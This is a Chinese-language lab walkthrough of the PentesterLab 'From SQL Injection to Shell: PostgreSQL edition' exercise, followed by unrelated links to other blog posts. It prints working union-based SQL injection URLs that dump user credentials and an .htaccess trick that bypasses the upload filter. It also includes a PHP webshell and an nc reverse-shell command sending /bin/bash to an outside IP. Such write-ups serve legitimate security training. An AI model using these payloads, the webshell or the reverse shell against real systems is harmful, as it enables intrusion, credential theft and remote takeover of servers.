一、打开页面,随便点了几下,返现和From SQL Injection to Shell差不多,直奔主题开始注入

  由于PostgreSQL与MySQL不同,几个关注点需要注意下

二、order by下看看有几个字段

/cat.php?id=%20order%20by%

#order by 4正常,5出现报错,说明有4个字段

三、查看注入点在什么位置,这里与MySQL不同的是,不能再用select 1,2,3……的方式去探测,要改用null,因为PostgreSQL对类型限制很严格

http://192.168.109.131/cat.php?id=1%20union%20select%20null,version(),null,null

发现只有第二个字段可以出来东西,注入点在第二个字段

四、查看当前库名

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,datname,null,null%20from%20pg_database%20limit%201%20offset%205

五、查看表名

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,relname,null,null%20from+pg_stat_user_tables+limit+1+offset+0

六、查看各个字段,遍历offset

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,column_name,null,null%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%201%20offset%202

得出有login和password

七、直接通过拼接字符串,读取数据

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,login||chr(124)||password,null,null%20from%20users

八、MD5解密后,为admin|P4ssw0rd,直接登录后台进行上传

九、上传时发现,改后缀名为php3,Content-Type,加入图片文件头都无法成功上传,查询教程后得知,可以通过.htaccess来进行绕过

十、先编写一个.htaccess文件,内容为一下内容,进行上传

AddType application/x-httpd-php .blah

这个文件的意思是告诉apache,把.blah后缀的文件按照php进行解析

十一、在上传shell,不过这次shell不是.php后缀名,而是.blah

<?php
system($_GET['cmd'])
?>

十二、查看源代码,得知上传位置,直接访问上传的webshell,进行shell反弹

http://192.168.109.131/admin/uploads/function.blah?cmd=nc%2030.117.75.238%209999%20-e%20/bin/bash

PentesterLab-From SQL Injection to Shell: PostgreSQL edition的更多相关文章

  1. [SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION

    FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION 这里先介绍一下POSTGRESQL.这是一款数据库管理系统,与oracle是同类型软件.08年左右的市场 ...

  2. [SQL注入1]From SQL injection to Shell

    第一次写,希望大神们多指点. 对于刚接触WEB渗透测试这块的朋友们,很希望能有个平台可以练习.网络上有不少,十大渗透测试演练系统,我这里推荐一个在10以外,适合初学者一步一步进步的平台PENTESTE ...

  3. PentesterLab-From SQL Injection to Shell

    一.打开靶机ip出现如下界面: 随便点一下,点到test链接,访问了如下url:http://192.168.109.131/cat.php?id=1,这里出现了一个id,常规思路这个位置可能有sql ...

  4. Exploiting second-order SQL injection 利用二阶注入获取数据库版本信息 SQL Injection Attacks and Defense Second Edition

    w SQL Injection Attacks and Defense  Second Edition Exploiting second-order SQL injection Virtually ...

  5. SQL injection

    SQL injection is a code injection technique, used to attack data-driven applications, in which malic ...

  6. SQL注入——SQL Injection

    本文部分内容转自:https://www.cnblogs.com/rush/archive/2011/12/31/2309203.html http://www.diybl.com/course/7_ ...

  7. 防sql注入之参数绑定 SQL Injection Attacks and Defense

    http://php.net/manual/zh/pdo.prepared-statements.php 预处理语句与存储过程 很多更成熟的数据库都支持预处理语句的概念.什么是预处理语句?可以把它看作 ...

  8. DVWA SQL Injection 通关教程

    SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱 ...

  9. 防sql注入之参数绑定 SQL Injection Attacks and Defense 预处理语句与存储过程

    http://php.net/manual/zh/pdo.prepared-statements.php 预处理语句与存储过程 很多更成熟的数据库都支持预处理语句的概念.什么是预处理语句?可以把它看作 ...

随机推荐

  1. iOS开发之plist文件操作

    之前在想用代码去实现很多界面上能用interface builder可以拖进去的功能,现在想想真是够无知的啊.不仅效率低下,而且对于代码的维护带来不少麻烦,这段时间一直在反思看了design+code ...

  2. iOS开发之UITableViewController重写

    # UITablViewController方法的使用介绍 - (NSInteger)numberOfSectionsInTableView:(UITableView *)tableView { // ...

  3. linux卸载mysql

    第二.停止MYSQL运行以及卸载老版本 service mysqld stop #暂停MYSQL yum remove mysql mysql-*  #卸载老版本MYSQL 通过上面的命令,我们先停止 ...

  4. 20145313张雪纯 《Java程序设计》第3周学习总结

    20145313张雪纯 <Java程序设计>第3周学习总结 教材学习内容总结 4.1.1 定义类 package four; class Clothes{ String color; ch ...

  5. 试编hello world

    这里是一些vim的使用方法: 这时不知道怎么编译了  看了上面的知识 也问了志伟,我就知道了.是要“./hello”就可以了 自己敲了代码,今后也会多试运行,编译,得尽快安装虚拟机了.

  6. C++实现最基本的LRUCache服务器缓存

    目录: 一.介绍: 二.数据结构: 三.主要的两个函数接口Put()和Get(): 四.C++代码实现: 后台开发必备知识,不过我不是搞这个的,只是因为很久以前就想写这些东西,事情多,拖到现在.写的过 ...

  7. shell编程(二)

    case判断 前面了解了shell编程的if判断,其实除了if判断,还有case判断. case语法: case VAR in case1) command1 ;; case2) command2 ; ...

  8. Hive-0.13安装

    Hive只需在使用节点安装即可. 1.上传tar包.解压   tar -zxvf apache-hive-0.13.0-bin.tar.gz -C /hadoop/  配置HIVE_HOME环境变量  ...

  9. Mac开发配置手册

    系统设置 在任何的操作系统中,首先你需要做一件事就是更新系统,点击窗口左上角的  > 关于本机 > 软件更新.此外,如果这是一部新的电脑,你还需要到系统设置进行一些适当调整.如何调整,取 ...

  10. JQuery中serialize()

    一.serialize()定义和用法: serialize()方法通过序列化表单值,创建标准的URL编码文本字符串,它的操作对象是代表表单元素集合的jQuery 对象.你可以选择一个或多个表单元素(比 ...